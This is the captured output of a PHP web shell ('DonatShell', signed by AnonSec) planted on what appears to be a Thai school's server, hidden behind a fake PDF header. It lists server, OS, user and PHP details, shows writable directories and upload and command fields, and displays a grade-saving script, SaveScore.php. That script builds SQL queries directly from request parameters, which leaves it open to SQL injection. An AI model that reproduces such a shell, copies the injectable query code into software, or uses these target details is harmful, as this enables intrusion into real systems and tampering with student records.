%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/BK/wwwroot/mis/teacher/subject_score/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/BK/wwwroot/mis/teacher/subject_score/SaveScore.php
<?PHP 
	include("conf.php");
	if($_SESSION["PClass"]!="") 
		$sql="update TScore set ".$_SESSION["ScoreField"]." = ".$_GET['Score']." where   Regyear='".$_SESSION["AYear"]."' and (RegTerm='".$_SESSION["Term"]."' or RegTerm='_') and PSubjectCode='".iconv('utf-8','tis-620',$_SESSION["PSubjectCode"])."' and PClass='".iconv('utf-8','tis-620',$_SESSION["PClass"])."' and PRoom='".$_SESSION["PRoom"]."' and  IDTeacher='".$IDTeacher."' and IDStudent='".$_GET['IDStudent']."'";
	else
		$sql="update TScore set ".$_SESSION["ScoreField"]." = ".$_GET['Score']." where   Regyear='".$_SESSION["AYear"]."' and (RegTerm='".$_SESSION["Term"]."' or RegTerm='_') and PSubjectCode='".iconv('utf-8','tis-620',$_SESSION["PSubjectCode"])."'  and IDStudent='".$_GET['IDStudent']."'";
 
	$stmt = sqlsrv_query( $conn, $sql );
	//echo $sql."<BR>";
	if( $stmt === false ) {
     	die( print_r( sqlsrv_errors(), true));
	} else {
		//echo $_GET["Last"];
		if($_GET["Last"]=="1")
			echo "<font color='#009966'>บันทึกคะแนน เสร็จสมบูรณ์</font>";	
		else
			echo "<font color='#009966'>กำลังบันทึกคะแนน  รหัสนักเรียน : ".$_GET['IDStudent']." เสร็จสมบูรณ์</font>";	
	}
	echo "<BR><BR>";
	$percent = ($_GET['Run']+1)*100/$_GET['Max'];
?>
<div class="progress">
  <div class="progress-bar" role="progressbar" aria-valuenow="<?PHP echo $percent; ?>"
  aria-valuemin="0" aria-valuemax="100" style="width:<?PHP echo $percent; ?>%">
    <?PHP echo number_format($percent,2); ?>%
  </div>
</div>

Anon7 - 2022
AnonSec Team